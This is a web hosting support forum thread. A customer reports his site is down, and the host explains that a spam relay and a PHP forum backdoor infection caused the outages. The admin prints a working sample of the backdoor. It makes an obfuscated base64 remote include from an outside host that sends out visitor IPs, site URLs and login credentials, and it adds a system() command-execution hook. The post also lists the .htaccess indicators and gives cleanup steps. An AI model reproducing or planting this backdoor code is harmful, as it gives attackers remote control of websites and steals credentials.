Site Down and other issues.

[DJSalt]

As I stated in the wrong area of this board, MY SITE IS DOWN! My domain is good until next December (2006) when I must renew.

Before it went down, my discussion board had an internal error and would not display. Are these things linked? Have I been hacked?? Is the host site in FLA experioencing problems?

HELP!

Also, did you ever look into my issues with the squirrel mail? You can no longer "select all".

Thanks,

[Glenn Miller]

Its something larger, I have 2 phone messages and a support ticket in, All the people I host for are offline and I am offline....

Glenn

[iTec Administrator]

Hello John and Glenn.

I thought the best way to answer your questions John was to paste here, the contents of an email I sent to you. This may help to explain what has been happening both serverside as well as to your forum.

I am currently working to improve our support response as well as support coverage. There should not be delays in support response like we just experienced ever again.

I know there will be questions, please ask them here and I will answer them here. Candidly and honestly.

Hello John,

First please accept my apologies in my delay in responding to you personally.

As soon as I returned to my office, I went to work on the server issues. Again.

What I found is there is at least one insecure email/contact form script which is allowing a unknown 3rd party to use that script to relay spam off of our server. Sometimes at a rate of 5000 emails per minute!! This is what has been crashing our server.

The script seems to trigger at about 5PM et on Fridays. The last 2 Fridays, when this happened, I was away from my office, DJing in small towns 2 to 3 hours away from my office. And to make it even worse, this past weekend, I was in a location that had no internet access available whatsoever and I did not even have the phone number of the datacenter with me or I would have called them and had them reboot the server. These are the reasons why the server was not rebooted sooner than it was.

To address the issue of the Support, within the next 2 weeks, we will have 2 new Support Staff. This will increase our effective Support coverage to 24/7/365 from the current 18/7/360 average we have had the last year.

Squirrelmail Issues. The Squirrelmail program (as well as the Neotech/UebiMiau script) is being upgraded this weekend or at the latest very early next week. This upgrade should address issues with Squirrelmail (and Neotech) and correct the problems which you referred to.

Forum Issues. The problem with the forum appears to be a script that has in essence "hacked" your forum. This script has been causing tons of headaches for ALL php forum, gallery, chatroom users, not just on our severs, but for many other hosts as well. What the script does is plant "spyware" in ALL folders that are chmod 777. There have been a few cases we are aware of where the script has done edits to the config file of the affected forum/gallery/portal/chatroom as well. The script only affects php files and scripts, not those written in html.

Here is what to look for to determine if this is your problem is any .htaccess files which have text similar to...

Options -MultiViews
ErrorDocument 404 //path/to/relay/scriptname.php

as well as any number of php files which the .htaccess file calls to. Some of the file names used include guest.php, config.php, configs.php, includes.php, include.php, report.php, date.php, time.php, among others.

Sample of callback code being found (slightly edited < > removed

?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhb WUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}


Folders/files that are chmod at least 755 do not seem to be touched by this script.

Things we have noted is there will usually be parse errors reported on an affected server. This is an indication that the script has been run on the server. Other things we have noted and is the config_global.php file on a IPB install was edited and the MySQL info removed, in another case, the skin_global.php was edited and left basically blank causing parse errors.

So...basically ANY php script/folder that is chmod 777 is vulnerable and it appears that the only way to prevent this, is to have files/folders chmod to at least 755 (if not 644)

Another thing, all the aforementioned files will become owned by apache and not the site login which in your case is **UsErNaMeEdItEd**.

A quick check of your site files by one of our new support techs shows that both your forum and photogallery have been hacked with this script. Easiest way to "fix" the problem is to login to your site via FTP or the File Manager in Direct Admin (The server control panel) and delete ALL .htaccess files which do not belong as well as the php file the .htaccess file is calling to. Then, to correct the parse errors, simply upload a fresh copy of the file that has been affected which in your case appears to be /smf/Settings.php. This should correct the problem and the forum should return.

Check ALL folders/files which you have the permissions set to 777. You will have to manually remove all the hacks from those folders.

I wish to note that this is not a server security issue. This is what is called a "script kiddie" attack which has affected thousands of websites, and servers including even the servers at Invision Power Board.

I do not recommend reinstalling the forum, but only replacing/overwriting the affected files. However, do not simply overwrite the configuration file of the forum (Settings.php) instead, download a copy as a backup with the db information. If a simple edit of a new configuration file will not work, then download a backup of the database, and then reinstall the forum using a fresh set of files.

Script kiddies have been the bain of existence for users of the internet since the beginning. There is no 100% way to protect oneself from them, however in this case, the script being used seems to only attack files chmod 777. Changing permissions to at least 755 seems to curtail these attacks by this script.

John, rest assured now that the DJ silly season is over, and with the addition of 2 new support staff, we will be able to provide you with the reliable hosting you have experienced and expect to experience from us.

[iTec Administrator]

Current server loads now read 0.07, 0.31, 0.28. However, before the last crash, the loads were as high as 387.0!!!

[iTec Administrator]

Current server loads now are 0.00, 0.06, 0.07 which are perfect. The highest I saw it today was 0.37, 0.43, 0.50 and that was at 7PM et which is traditionally the busiest time on the internet.

We are monitoring closely.